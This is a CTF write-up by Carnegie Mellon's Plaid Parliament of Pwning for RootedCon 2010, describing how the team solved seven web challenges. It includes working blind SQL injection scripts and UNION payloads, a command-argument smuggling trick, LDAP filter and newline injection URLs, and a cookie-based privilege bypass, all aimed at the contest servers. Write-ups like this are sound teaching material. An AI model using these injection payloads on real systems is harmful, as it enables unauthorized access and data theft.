RootedCon CTF 2010

Plaid Parliament of Pwning - Security Research Group at CMU

October 11, 2010

1 Introduction

This is a write-up for RootedCon CTF 2010 from **Plaid Parliament of Pwning** (PPP), Carnegie Mellon University's Security Research Group. This write-up describes walk-throughs for all the challenges that we have completed during the competition. This report file will also be available at http://ppp.cylab.cmu.edu.

2 Walk-throughs

Problem 1:getadmin

This page appears to be just a normal page with no normal vulnerabilities. After staring at it for a while, we try to see if there are other files on the webserver that may give us some information. We soon stumble across the page `index.php~`, this is a backup file created automatically when, for example, one edits a file in emacs. Reading this source code, we see that when the correct password is sent, the value `is_administrator` gets set to 1. Further, as this php page emulates the actions of register_globals, we can try to set this value ourselves. We can see that using post or get requests with the value are specifically filtered, but cookies are not. Set our cookie to contain the value `is_administrator=1`, and then try submitting the form.

Flag: t00easy_f0r_31337_l1k3_y0u

Problem 2:damn login

It shows our browser name, so the theory is that it is looking this up in a database. If we throw a single-quote in the user-agent, we cause it to output nothing. It is then trivial, to implement a blind SQL attack. See below for our python script.

Flag: Us3r4g3nt_l34k3d_s0_much_1nf0

Script:

```
#!/usr/bin/python
import string
import urllib2

target = 'user()'
test = []
search_space = list(string.lowercase) + list(string.uppercase) + ['@', '\\_', '0',
    '1', '2', '3', '4', '5', '6', '7', '8', '9']
```

```
def runtest(req, ua):
    req.add_header('User-Agent', ua % (''.join(test)))
    return 'Internet Explorer' in urllib2.urlopen(req).read()

#ua = "1',(select/**/count(TABLE_NAME)/**/from/**/information_schema.tables/**/
    where/**/(TABLE_SCHEMA/**/like/**/'damn_login')*(TABLE_NAME/**/like/**/'%s')
    like'1'));#"
#ua = "1',(select/**/count(TABLE_NAME)/**/from/**/information_schema.columns/**/
    where/**/(TABLE_NAME/**/like/**/'secretpass')*(COLUMN_NAME/**/like/**/'%s')like
    '1'));#"
ua = "1',(select/**/count(pwd)/**/from/**/SecretPass/**/where/**/binary(pwd)/**/
    like/**/'%s'));#"

req = urllib2.Request('http://ctf.rs-labs.com:85/
    damn_login_82c5feb95ba26418a402506311c99c7a/', 'pass=test')

# get length

length = 0
while True:
    print 'Trying: %s' % ''.join(test)
    if runtest(req, ua):
        length = len(test)
        break
    test.append('_')

for i in xrange(length):
    done = False
    for j in search_space:
        test[i] = j
        print 'Trying: %s' % ''.join(test)
        if runtest(req, ua):
            done = True
            break
    if not done:
        print 'Stopped at' + ''.join(test)
        break
```

Problem 3:fortune

We can see that this webpage simply runs the unix program `fortune` with whichever arguments are given as the fortune parameter. Many of the special characters that we would want to use to either run arbitrary commands or pass more than one parameter at a time to the `fortune` program are specifically blocked, giving the error message "*Hacking attempt! (non-allowed chars)*".

However, after trying many characters, we learn that the tab character (value `0x09`) is allowed! This let's us pass multiple arguments to the fortune program. We submit `fortune=-f%09fortunes%2F` (where fortunes/ is the folder containing our fortune files) to get a listing of all the files in this folder. The file named `key-8b2f0453df4597c4e3cd92215bd2000e` immediately sticks out, so we view it by sending `fortune=fortunes%2Fkey-8b2f0453df4597c4e3cd92215bd2000e`.

Flag: Y0u_4r3_m0re_lucky_th4n_y0u_th0ught

Problem 4:oneweb

This problems tells us to read `0fdd8fd4233f8a226ff5a4fe87eee080.html` for more instructions. Sadly, upon going there, we see another site that tells us to now go to `415b4dd20fbf84f57ecd9067d46cfd25.` Quickly we realize that we are going to need to repeat this process quite a few times, so we quickly create a script using perl.

```
#!/usr/bin/perl
$result = "dc001aeff6413933fa39ce2274c4e7f1.html";

while ($result =~ m/(\w+\.html)/) {
  $result = `curl http://ctf.rs-labs.com:84/
      oneweb_e04932f0613ba8c4ecadb225d929fd13/$1 2>/dev/null`;
}
print $result;
```

Flag: t00_t1r3d_f0r_th1S_0N3

Problem 5:weblist We see a list of animals and numbers. If we type in one of the numbers, we get the corresponding animal. We can seperate multiple numbers using a space.

This is probably be implemented by replacing a space with a comma and the number is surrounded by double-quotes, and then throwing into a sql query of the form: 'select id, name from table where id in (...)'.

Using this we can start with a blind sql attack to get the schema. Once we have the schema, we can use a union query to get the rest of the information.

Flag: cH4nG3d_t0_fUcK_k4cH4K1l

Unions:

```
2")union(select(TABLE_NAME),(COLUMN_NAME),(1)from(information_schema.columns))
    union/**/select(wl.id),(wld.list_id),(3)from((select(id)from(WebList))wl,(
    select(list_id)from(WebListDescr))wld)having("a

2")union(select(login_3e1ce4bce9a68db1a1c576d1f76e5aa6),(
    password_3e1ce4bce9a666b1a1c576d1f76e5aa6),(1)from(
    UserPassword_55cf9c78f77986669bc362385cb55f97))union/**/select(wl.id),(wld.
    list_id),(3)from((select(id)from(WebList))wl,(select(list_id)from(WebListDescr)
    )wld)having("a
```

Blind SQL:

```
#!/usr/bin/perl

foobar("");
#foobar("");

sub foobar {

  my $prefix = pop(@_);

  my $i = length($prefix)+1;

  for my $s (32..122) {
    $s = chr($s);
    if($s eq ".") {
```

```
      next;
    }
    if($i > 4) {
      next;
    }

    ($string = $prefix.$s) =~ s/(.)/sprintf("%x",ord($1))/eg;
    my $result = `curl "http://ctf.rs-labs.com:83/
        weblist_85baaaf3d4593fcbaeb3878c0357cfd4/?list=2\\\",exists(select(
        concat_ws(\\\".\\\",TABLE_NAME,COLUMN_NAME))a/**/from(information_schema.
        columns)having(field(binary(substring(a,1,$i)),0x$string))),\\\"2" 2>/dev/
        null`;
#    my $result = `curl "http://ctf.rs-labs.com:83/
    weblist_85baaaf3d4593fcbaeb3878c0357cfd4/?list=2\\\",exists(select(concat_ws
    (\\\".\\\",password))a/**/from(UserPassword)having(field(binary(substring(a,1,
    $i)),0x$string))),\\\"2" 2>/dev/null`;

    if ($result =~ m/perro/ig && $i < 20) {
      print "\n*** $prefix$s\n";
      foobar($prefix.$s);
    }
  }
}
```

Problem 6:shop

The goal of this problem was to buy an expensive item that would give you the key.

After registering and logging on, we notice that we can see, search, and buy products. We also notice that we start with 100 cash and there is no way to increase our cash.

When we click "SEE PRODUCTS" (expensive) we notice that there is a '>=36' in the url. By changing this to '<=0', we can see all of the products.

This gives us the first hint: "*If I were you, I'd try to activate DEBUG mode*".

So, if we append '&debug=1' to the URL, we see the raw output of the query. This also tells us that it is an LDAP injection problem. Now, we try to get all of the objects in the LDAP directory, not just products. To do this requires us to negate the requirement: 'ctfPrice <= ...'. Luckily for us, using the search feature, we can inject text both before and after that requirement. This allows us to negate it. The url would look something like:

```
http://ctf.rs-labs.com:82/shop_c8f828cc0374f4b1e2187599055ecde2/?op=busqueda&
    nombre=*%29%28!%28|%28ctfPrice%3d1&tipo=%3E%3D36%29%29&Submit=FIND&debug=1
```

And now, we get the second hint:

You nearly got it. Only one step is missing... Look for ways to increase your cash. Tip3: I am calling ldapadd cmd util from code

So, this gives the format of user objects. Since ldapadd treats newlines as delimiters for attributes, if we put a newline followed by 'ctfCash: 31337' we will have enough money to buy the item.

For example:

```
http://ctf.rs-labs.com:82/shop_c8f828cc0374f4b1e2187599055ecde2/?op=registro&subop
    =procesar&username=ppp3&clearpassword=ppp3&nombrecompleto=1%0ActfCash:%2031337&
    tlf=ppp2&Submit=Send
```

Now, we buy the item and we get the key:
Flag: LD4p_1nj3ct10N_rlZzzz

Problem 7:scriptures

Viewing the source of this page we see a horrible mess of packed javascript. Luckily we recognize this as packed with the popular javascript compressor found at `http://dean.edwards.name/packer/`, which also handles unpacking (we leave enabling the decode button as an exercise for the reader).

Rather than trying to reverse the javascript, we can observe that the `cp` function does the actual comparison for the password, so we modify it from comparing strings to simply displaying an alert box with the string to which our input is compared. We enter the modified function

```
1 javascript:function cp(tspaQc3) {var DZr4 = "\x6e\x6b\x75\x33\x69\x75\x6e\x32\x78\
    x75\x32\x7a";var d5 = "";for (i = 0; i < DZr4["\x6c\x65\x6e\x67\x74\x68"]; i++)
     {d5 += window["\x53\x74\x72\x69\x6e\x67"]["\x66\x72\x6f\x6d\x43\x68\x61\x72\
    x43\x6f\x64\x65"]((DZr4["\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74"](i) - (5 * i
    ) \% 3) \% 256)}alert (r(d5));};cp();
```

in the address bar, to automagically print out our key.
Flag: y0uw0ntg3tin

3 Acknowledgement

As always we thank Professor David Brumley for the guidance and the support.